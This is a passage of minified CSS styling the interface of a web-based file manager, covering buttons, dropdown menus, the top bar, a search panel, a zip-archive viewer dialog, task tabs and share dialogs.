span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;box-sizing:content-box;}.btn:focus{outline:none;}.btn.btn-default .font-icon{color:#999;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}.btn.btn-active{background:#63acff !important;border-color:#4fa1ff !important;border-bottom-color:#449cff !important;z-index:100;text-shadow:none;color:#fff !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#8cc2ff', endColorstr='#63acff');background-image:-webkit-linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);background-image:-moz-linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);background-image:-o-linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);background-image:-ms-linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);background-image:linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);-pie-background:linear-gradient(to to bottom,#8cc2ff 0,#63acff 100%);}.btn.btn-active:hover,.btn.btn-active:active{background:#3a96ff !important;border-color:#268bff !important;border-bottom-color:#1c86ff !important;z-index:100;text-shadow:none;color:#fff !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#63acff', endColorstr='#3a96ff');background-image:-webkit-linear-gradient(to bottom,#63acff 0,#3a96ff 100%);background-image:-moz-linear-gradient(to bottom,#63acff 0,#3a96ff 100%);background-image:-o-linear-gradient(to bottom,#63acff 0,#3a96ff 100%);background-image:-ms-linear-gradient(to bottom,#63acff 0,#3a96ff 100%);background-image:linear-gradient(to bottom,#63acff 0,#3a96ff 100%);-pie-background:linear-gradient(to to bottom,#63acff 0,#3a96ff 100%);}.btn-group.disabled{opacity:0.6;filter:alpha(opacity=60);}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px rgba(0,0,0,0.15);max-height:400px;margin-top:0;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.pull-left:after{right:auto;left:10px;}.dropdown-menu.pull-left:before{right:auto;left:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.dropdown-menu .divider{margin:0.3em 0;}body .context-menu-list .context-menu-item.hover{background:#63acff;}body .aui-outer{*border:1px solid #7dbaff;border:1px solid #7dbaff \0/IE9;border:1px solid #7dbaff;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;top:0;background:#4267b2;position:absolute;z-index:auto;}.topbar .content{padding:0px;line-height:40px;height:39px;word-break:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar-menu{display:block;text-decoration:none;color:#fff;border:1px solid #5074be;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar-menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar-menu.title:hover{background:none;}.topbar .content .topbar-menu .icon{width:25px;height:25px;margin-right:5px;padding:0;margin-top:-4px;font-size:13px;line-height:25px;text-align:center;background:none;}.topbar .content .title img{max-width:200px;max-height:44px;}.topbar .content .open .topbar-menu,.topbar .content .topbar-menu:hover,.topbar .content .topbar-menu.this{background:#5074be;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top-left.collapse{display:block;height:auto !important;}.topbar .content .top-left{overflow:hidden;height:40px;width:70%;}.topbar .content .top-right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top-right .menu-group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top-right .topbar-menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top-right .topbar-menu i{padding-right:3px;}.topbar .content .top-right .btn{color:#fff;}.topbar .content .top-right ul a{line-height:30px;height:30px;display:block;padding:0px 1.7em;border:none;overflow:hidden;}.topbar .content .top-right ul a:hover,.topbar .content .top-right ul a.this{margin-right:0px;}.topbar .content .top-right ul a.this{background:#63acff;color:#fff;}.topbar .content .top-right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top-right ul.dropdown-menu{margin-top:-1px;}.topbar .content .top-right ul.dropdown-menu.topbar-language{width:470px;padding:10px 5px;}.topbar .content .top-right ul.dropdown-menu.topbar-language li{width:115px;float:left;margin:0 1px 1px 0;}.topbar .content .top-right ul.dropdown-menu.topbar-language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top-right ul.dropdown-menu.topbar-language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content .share-title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share-title-info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share-info{color:#fff;float:left;font-size:1em;}.topbar .content .share-info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top-right div.share-info-user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top-right div.share-info-user .btn-download,.topbar .content .top-right div.share-info-user .btn.button-my-share{padding:4px 20px;margin-left:5px;}.topbar .content .top-right div.share-info-user .dropdown-toggle{height:16px;}.topbar ul.dropdown-menu.topbar-submenu{right:auto;left:auto;margin-left:-1px;margin-top:-1px;padding:20px 0 10px 20px;width:380px;}.topbar ul.dropdown-menu.topbar-submenu li{float:left;display:block;margin:0 10px 10px 0;width:85px;height:95px;}.topbar ul.dropdown-menu.topbar-submenu li a{border-radius:4px;display:block;height:100%;padding:0;text-align:center;}.topbar ul.dropdown-menu.topbar-submenu li a:hover,.topbar ul.dropdown-menu.topbar-submenu li a:active,.topbar ul.dropdown-menu.topbar-submenu li a.this,.topbar ul.dropdown-menu.topbar-submenu li a.this:hover{background:#34a5ff;color:#fff;}.topbar ul.dropdown-menu.topbar-submenu li a:hover i.icon,.topbar ul.dropdown-menu.topbar-submenu li a:hover i.font-icon,.topbar ul.dropdown-menu.topbar-submenu li a:active i.icon,.topbar ul.dropdown-menu.topbar-submenu li a:active i.font-icon,.topbar ul.dropdown-menu.topbar-submenu li a.this i.icon,.topbar ul.dropdown-menu.topbar-submenu li a.this i.font-icon,.topbar ul.dropdown-menu.topbar-submenu li a.this:hover i.icon,.topbar ul.dropdown-menu.topbar-submenu li a.this:hover i.font-icon{background:#f5faff;color:#2196F3;}.topbar ul.dropdown-menu.topbar-submenu li a i.icon,.topbar ul.dropdown-menu.topbar-submenu li a i.font-icon,.topbar ul.dropdown-menu.topbar-submenu li a img,.topbar ul.dropdown-menu.topbar-submenu li a .x-item-file{width:64px;height:64px;line-height:64px;padding:0;margin-top:5px;opacity:1;display:inline-block;border-radius:10px;}.topbar ul.dropdown-menu.topbar-submenu li a .x-item-file{margin-bottom:-5px;}.topbar ul.dropdown-menu.topbar-submenu li a i.icon,.topbar ul.dropdown-menu.topbar-submenu li a i.font-icon{font-size:36px;background:#def;color:#2196F3;}.topbar ul.dropdown-menu.topbar-submenu li a i.icon.words,.topbar ul.dropdown-menu.topbar-submenu li a i.font-icon.words{font-size:20px;}.topbar ul.dropdown-menu.topbar-submenu li a i.icon.words em,.topbar ul.dropdown-menu.topbar-submenu li a i.font-icon.words em{width:45px;height:45px;overflow:hidden;font-style:normal;display:inline-block;white-space:pre-wrap;}.topbar ul.dropdown-menu.topbar-submenu li a span{display:block;font-size:13px;padding-top:5px;text-overflow:ellipsis;overflow:hidden;white-space:nowrap;}.common-footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common-footer .copyright-bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common-footer .copyright-bottom:hover{color:#f60;border-bottom:none;}.desktop-widget{z-index:10 !important;}.do-search-box{color:#888;}.do-search-box .search-header{padding:10px;padding-bottom:0px;}.do-search-box .search-header input[type='checkbox']{padding-left:0px;}.do-search-box .search-header label{font-size:1em;}.do-search-box .search-header .btn-right{margin:0px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;position:absolute !important;}.do-search-box .search-header .s_br{margin-bottom:8px;line-height:25px;}.do-search-box .search-header #search-value,.do-search-box .search-header #search-path,.do-search-box .search-header #search-ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do-search-box .search-header #search-value:focus,.do-search-box .search-header #search-path:focus,.do-search-box .search-header #search-ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do-search-box .search-header #search-value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do-search-box #search-is-case{margin-left:10px;}.do-search-box .search-desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do-search-box .search-result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do-search-box .search-result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do-search-box .search-result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;word-wrap:break-word;word-break:break-all;overflow:hidden;}.do-search-box .search-result .file-item .file-info:hover{background:#eee;}.do-search-box .search-result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do-search-box .search-result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do-search-box .search-result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do-search-box .search-result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do-search-box .search-result .file-item .file-info .file-icon img{width:100%;height:100%;}.do-search-box .search-result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do-search-box .search-result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;background:#fff;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do-search-box .search-result .file-item .file-info .goto:hover,.do-search-box .search-result .file-item .file-info:hover .goto:hover{background:#fbbc00;color:#fff;}.do-search-box .search-result .file-item .file-info:hover .goto{display:block;background:#e6e6e6;}.do-search-box .search-result .file-item .keyword{background:#ffef65;color:#000;}.do-search-box .search-result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do-search-box .search-result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do-search-box .search-result .file-item .result-item .result-info:hover{background:#eee;}.do-search-box .search-result .file-item .result-item .result-info.this,.do-search-box .search-result .file-item .result-item .result-info.this:hover{background:#63acff;}.do-search-box .search-result .file-item .result-item .result-info.this .line,.do-search-box .search-result .file-item .result-item .result-info.this .search-info,.do-search-box .search-result .file-item .result-item .result-info.this:hover .line,.do-search-box .search-result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do-search-box .search-result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do-search-box .search-result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', monospace 'Microsoft Yahei', '微软雅黑', Courier, 'Helvetica Neue', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do-search-box .search-result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}body#page-desktop .topbar .content .topbar-menu{border-color:rgba(255,255,255,0.01);}.full-background{position:absolute;overflow:hidden;z-index:0;}.aero:before{position:absolute;top:0;right:0;bottom:0;left:0;z-index:-1;box-sizing:border-box;background-position:center center;background-size:cover;background-repeat:no-repeat;background-attachment:fixed;content:'';-webkit-filter:blur(4px) brightness(1.0);filter:blur(4px) brightness(1.0);clip-path:inset(0);}.aero:after{position:absolute;top:0;right:0;bottom:0;left:0;z-index:-2;box-sizing:border-box;background-position:center center;background-size:cover;background-repeat:no-repeat;background-attachment:fixed;clip-path:inset(0);}.task-tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task-tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task-tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task-tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task-tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init-loading{position:fixed;left:50%;margin-left:-80px;top:40%;font-size:1.25em;z-index:999999;width:auto;}.init-loading div{padding:20px;background:#000;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:30px;}.init-loading img{border-radius:10px;}.space-info-bar{width:110px;}.space-info-bar .space-process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space-info-bar .space-process .space-process-use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.space-info-bar .space-process .space-process-use.warning{background-color:#f00 !important;}.dialog-app-select .app-list{border:1px solid #ddd;padding:25px 0 0 10px;height:280px;overflow:auto;overflow-x:hidden;border-radius:4px;background:#f5f5f5;}.dialog-app-select .app-list .app-item{border:1px solid #f5f5f5;width:95px;height:110px;border-radius:4px;transition:all 0.2s ease 0s;margin:0 10px 10px 0;text-align:center;float:left;color:#444;text-decoration:none;}.dialog-app-select .app-list .app-item:hover{border-color:#77c2ff;background:#def;}.dialog-app-select .app-list .app-item.select{border-color:#559cec;background:#63acff;color:#fff;}.dialog-app-select .app-list .app-item .ico{width:64px;height:64px;display:table-cell;vertical-align:middle;padding:5px 0 0 16px;}.dialog-app-select .app-list .app-item .ico img{width:100%;height:auto;}.dialog-app-select .app-list .app-item .ico .x-item-file{display:block;}.dialog-app-select .app-list .app-item .ico [class^="icon-"].font-icon,.dialog-app-select .app-list .app-item .ico [class*="icon-"].font-icon{width:56px;height:56px;line-height:60px;font-size:28px;padding:0px;text-align:center;margin-top:-2px;border-radius:12px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(3,169,244,0.7)', endColorstr='rgba(63,81,181,0.5)');background-image:-webkit-linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));background-image:-moz-linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));background-image:-o-linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));background-image:-ms-linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));background-image:linear-gradient(164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));-pie-background:linear-gradient(to 164deg,rgba(3,169,244,0.7),rgba(63,81,181,0.5));color:#fff;display:inline-block;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid #CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}.zip-view-dialog .aui-content{min-width:400px;position:relative;}.zip-view-dialog .aui-title{height:90px;}.zip-view-dialog .zip-view-content{position:absolute;left:0;right:0;bottom:0;top:0px;margin:0px;min-width:400px;border:none;}.zip-view-dialog .zip-view-content .header{height:90px;background-color:#2c41b3;background-image:linear-gradient(to bottom,#2c41b3 0,#222b5d 100%);color:#fff;position:relative;}.zip-view-dialog .zip-view-content .header .bg{background:url("../../../images/common/banner/fly.png") 100px -300px;width:100%;height:100%;position:absolute;}.zip-view-dialog .zip-view-content .header .icon{width:56px;height:56px;position:absolute;left:20px;top:20px;}.zip-view-dialog .zip-view-content .header .name,.zip-view-dialog .zip-view-content .header .desc{position:absolute;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;width:80%;}.zip-view-dialog .zip-view-content .header .name{margin:22px 0 0 90px;font-size:18px;font-weight:800;}.zip-view-dialog .zip-view-content .header .desc{margin:50px 0 0 90px;}.zip-view-dialog .zip-view-content .zip-header-title{height:23px;line-height:23px;border-bottom:1px solid #ddd;border-top:1px solid #ddd;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;}.zip-view-dialog .zip-view-content .zip-header-title .item{float:left;}.zip-view-dialog .zip-view-content .zip-header-title .item span{display:block;border-right:1px solid #ddd;padding-left:10px;cursor:default;}.zip-view-dialog .zip-view-content .zip-header-title .name{width:60%;}.zip-view-dialog .zip-view-content .zip-header-title .size{width:10%;}.zip-view-dialog .zip-view-content .zip-header-title .mtime{width:30%;}.zip-view-dialog .zip-view-content .zip-header-title .item.mtime span{border-right:none;}.zip-view-dialog .zip-view-content .ztree{padding:0px;position:absolute;top:115px;left:0;right:0px;bottom:0;overflow:auto;}.zip-view-dialog .zip-view-content .ztree li,.zip-view-dialog .zip-view-content .ztree li ul{width:100%;}.zip-view-dialog .zip-view-content .ztree li a{position:relative;padding-left:0;color:#333;text-shadow:none;}.zip-view-dialog .zip-view-content .ztree li a:hover{transition:none;}.zip-view-dialog .zip-view-content .ztree li a.odd{background:#f1f7ff;}.zip-view-dialog .zip-view-content .ztree li a:hover,.zip-view-dialog .zip-view-content .ztree li a.odd:hover{background:#fdeec3;}.zip-view-dialog .zip-view-content .ztree li a.curSelectedNode,.zip-view-dialog .zip-view-content .ztree li a.odd.curSelectedNode{background:#63acff;color:#fff;}.zip-view-dialog .zip-view-content .ztree li a .name{width:45%;overflow:hidden;position:absolute;word-break:break-all;text-overflow:ellipsis;}.zip-view-dialog .zip-view-content .ztree li a .time{width:27%;opacity:0.8;font-size:12px;position:absolute;left:72%;}.zip-view-dialog .zip-view-content .ztree li a .size{width:10%;opacity:0.8;font-size:12px;position:absolute;left:62%;}.zip-view-dialog .zip-view-content .ztree li a .menu-item-parent{display:none;position:absolute;right:0px;top:0;text-align:center;width:25px;height:24px;background:#fff;background:rgba(50,50,50,0.1);color:#666;}.zip-view-dialog .zip-view-content .ztree li a:hover .menu-item-parent{display:block;}.zip-view-dialog .zip-view-content .ztree li a.curSelectedNode .menu-item-parent{display:block;color:#fff;}.dialog-min-size.zip-view-dialog .aui-title{height:auto !important;}.dialog-min-size.zip-view-dialog .aui-header .aui-min,.dialog-min-size.zip-view-dialog .aui-header .aui-max,.dialog-min-size.zip-view-dialog .aui-header .aui-close{color:#ddd;}.support-space-not .share-dialog .content-box .content-info{padding:30px 20px 30px 20px;}.support-space-not .system-content .right-frame .group-title .group-size{display:none !important;}.support-space-not .size-max-set,.support-space-not .user-setting-more-btn,.support-space-not .user-setting-more{display:none;}.support-space-not .user-list .space,.support-space-not .share-view-info,.support-space-not .user-space-info{display:none;}.support-space-not .frame-main .user-space-info{display:none;}.support-space-not .frame-main .frame-left .group-space-use{display:none;}.support-space-not .frame-main .frame-left #folder-list-tree{bottom:70px;}.dropdown-menu.menu-topbar-user{right:6px;}.version-vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version-vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version-vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version-vip#version_vip_3,.version-vip#version_vip_4,.version-vip#version_vip_5,.version-vip#version_vip_6{color:#fff;background:#ffc107;}.version-vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version-license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version-license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#FF9800;background:linear-gradient(to top left,#FF9800,#FF5722);text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.9;filter:alpha(opacity=90);}.version-license a.line:hover{opacity:0.7;filter:alpha(opacity=70);}.path-select-input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.aui-state-lock .aui-min{display:none;}.dialog-copyright{width:400px !important;}.dialog-copyright,.share-dialog,.check-version-dialog{min-width:400px;}.dialog-copyright.dialog-simple .aui-outer,.share-dialog.dialog-simple .aui-outer,.check-version-dialog.dialog-simple .aui-outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border-radius:5px;border:none;}.dialog-copyright.dialog-simple .aui-outer,.dialog-copyright.dialog-simple .aui-outer.dialog-mouse-in,.share-dialog.dialog-simple .aui-outer,.share-dialog.dialog-simple .aui-outer.dialog-mouse-in,.check-version-dialog.dialog-simple .aui-outer,.check-version-dialog.dialog-simple .aui-outer.dialog-mouse-in{border:none;}.dialog-copyright.dialog-simple .aui-outer .aui-main,.dialog-copyright.dialog-simple .aui-outer.dialog-mouse-in .aui-main,.share-dialog.dialog-simple .aui-outer .aui-main,.share-dialog.dialog-simple .aui-outer.dialog-mouse-in .aui-main,.check-version-dialog.dialog-simple .aui-outer .aui-main,.check-version-dialog.dialog-simple .aui-outer.dialog-mouse-in .aui-main{border:none;}.dialog-copyright.dialog-simple .aui-outer .aui-header,.dialog-copyright.dialog-simple .aui-outer.dialog-mouse-in .aui-header,.share-dialog.dialog-simple .aui-outer .aui-header,.share-dialog.dialog-simple .aui-outer.dialog-mouse-in .aui-header,.check-version-dialog.dialog-simple .aui-outer 